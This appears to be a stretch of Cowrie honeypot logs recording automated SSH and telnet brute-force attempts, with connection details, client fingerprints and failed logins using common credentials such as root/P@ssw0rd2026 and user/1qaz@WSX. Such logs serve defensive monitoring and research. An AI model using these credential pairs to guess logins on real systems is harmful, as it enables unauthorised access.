{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52998,"dst_ip":"159.203.135.109","dst_port":22,"session":"21f33d45e025","protocol":"ssh","message":"New connection: 192.109.200.237:52998 (159.203.135.109:22) [session: 21f33d45e025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:14.064189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:14.069319Z","src_ip":"192.109.200.237","session":"21f33d45e025","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:14.150963Z","src_ip":"192.109.200.237","session":"21f33d45e025","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2026","message":"login attempt [root/P@ssw0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:14.395046Z","src_ip":"192.109.200.237","session":"21f33d45e025","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60334,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e62c6a75f8c","protocol":"telnet","message":"New connection: 50.6.8.71:60334 (10.17.0.5:23) [session: 8e62c6a75f8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:14.521147Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60350,"dst_ip":"10.17.0.5","dst_port":23,"session":"d146b598d727","protocol":"telnet","message":"New connection: 50.6.8.71:60350 (10.17.0.5:23) [session: d146b598d727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:15.482061Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:15.553192Z","src_ip":"192.109.200.237","session":"21f33d45e025","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53010,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7082fec28ae","protocol":"ssh","message":"New connection: 192.109.200.237:53010 (159.203.135.109:22) [session: c7082fec28ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:17.369511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:17.373562Z","src_ip":"192.109.200.237","session":"c7082fec28ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:17.460876Z","src_ip":"192.109.200.237","session":"c7082fec28ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:17.707978Z","src_ip":"192.109.200.237","session":"c7082fec28ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:18.794135Z","src_ip":"192.109.200.237","session":"c7082fec28ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.06382608413696,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:19.152129Z","src_ip":"50.6.8.71","session":"adf742530051","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54936,"dst_ip":"159.203.135.109","dst_port":22,"session":"170834e77fc4","protocol":"ssh","message":"New connection: 192.109.200.237:54936 (159.203.135.109:22) [session: 170834e77fc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:20.716318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:20.721130Z","src_ip":"192.109.200.237","session":"170834e77fc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:20.802975Z","src_ip":"192.109.200.237","session":"170834e77fc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:21.048678Z","src_ip":"192.109.200.237","session":"170834e77fc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:22.132787Z","src_ip":"192.109.200.237","session":"170834e77fc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54950,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0a695bab53d","protocol":"ssh","message":"New connection: 192.109.200.237:54950 (159.203.135.109:22) [session: a0a695bab53d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:24.051186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:24.060405Z","src_ip":"192.109.200.237","session":"a0a695bab53d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:24.143700Z","src_ip":"192.109.200.237","session":"a0a695bab53d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz@WSX","message":"login attempt [user/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:24.390148Z","src_ip":"192.109.200.237","session":"a0a695bab53d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:25.477070Z","src_ip":"192.109.200.237","session":"a0a695bab53d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54966,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7d97d2adedb","protocol":"ssh","message":"New connection: 192.109.200.237:54966 (159.203.135.109:22) [session: d7d97d2adedb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:27.379219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:27.384669Z","src_ip":"192.109.200.237","session":"d7d97d2adedb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:27.467158Z","src_ip":"192.109.200.237","session":"d7d97d2adedb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:27.713967Z","src_ip":"192.109.200.237","session":"d7d97d2adedb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":59584,"dst_ip":"159.203.135.109","dst_port":22,"session":"21a6bf906b83","protocol":"ssh","message":"New connection: 103.183.114.55:59584 (159.203.135.109:22) [session: 21a6bf906b83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:27.839937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:27.845736Z","src_ip":"103.183.114.55","session":"21a6bf906b83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:28.071330Z","src_ip":"103.183.114.55","session":"21a6bf906b83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nfvfhf","message":"login attempt [root/nfvfhf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:28.726478Z","src_ip":"103.183.114.55","session":"21a6bf906b83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:28.798280Z","src_ip":"192.109.200.237","session":"d7d97d2adedb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:29.947919Z","src_ip":"103.183.114.55","session":"21a6bf906b83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48220,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f401708afce","protocol":"ssh","message":"New connection: 192.109.200.237:48220 (159.203.135.109:22) [session: 9f401708afce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:30.748031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:30.753644Z","src_ip":"192.109.200.237","session":"9f401708afce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:30.836334Z","src_ip":"192.109.200.237","session":"9f401708afce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"nobody","message":"login attempt [nobody/nobody] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:31.233622Z","src_ip":"192.109.200.237","session":"9f401708afce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:32.318546Z","src_ip":"192.109.200.237","session":"9f401708afce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48250,"dst_ip":"159.203.135.109","dst_port":22,"session":"87d30acf42f8","protocol":"ssh","message":"New connection: 192.109.200.237:48250 (159.203.135.109:22) [session: 87d30acf42f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:34.284851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:34.293183Z","src_ip":"192.109.200.237","session":"87d30acf42f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:34.375358Z","src_ip":"192.109.200.237","session":"87d30acf42f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456789","message":"login attempt [user1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:34.624868Z","src_ip":"192.109.200.237","session":"87d30acf42f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:35.709358Z","src_ip":"192.109.200.237","session":"87d30acf42f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48278,"dst_ip":"159.203.135.109","dst_port":22,"session":"e18a8ed65aaa","protocol":"ssh","message":"New connection: 192.109.200.237:48278 (159.203.135.109:22) [session: e18a8ed65aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:37.606686Z"}
